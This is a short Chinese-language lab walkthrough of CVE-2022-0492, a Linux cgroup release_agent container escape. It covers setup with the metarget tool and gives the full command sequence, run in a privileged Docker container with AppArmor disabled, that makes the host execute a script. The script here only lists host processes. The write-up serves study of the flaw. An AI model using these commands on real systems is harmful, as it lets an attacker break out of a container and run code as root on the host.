CVE-2022-0492
本文作者:一生热爱
# 一、简介
当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机
漏洞产品: linux kernel - cgroup
# 二、环境搭建
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget cnv install cve-2022-0492
1
2
3
4
2
3
4
查看安装的内核版本
# 三、漏洞利用
带有 sys_admin 启动 Docker, 关闭 apparmor(否则无法 mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
1
上面是带有 CAP_SYS_ADMIN 权限的 Docker ,看网上文章不带有 SYS_ADMIN 权限并关闭所有安全防护的 Docker 也是能进行漏洞利用的,但是我并没有成功,进行mount 的时候不会加载 release_agent
进入 Docker 内部,执行如下命令,挂载 cgroup
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
1
2
3
4
2
3
4
修改 release_agent 触发逃逸,将 notify_on_release 设置为1,开启 task 进程清空后执行 release_agent 功能
echo 1 > /tmp/testcgroup/x/notify_on_release
1
创建 release_agent 触发时执行的文件
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
1
2
3
4
2
3
4
修改release_agent ,指向 cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径)
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
1
接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
1
sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸,逃逸成功。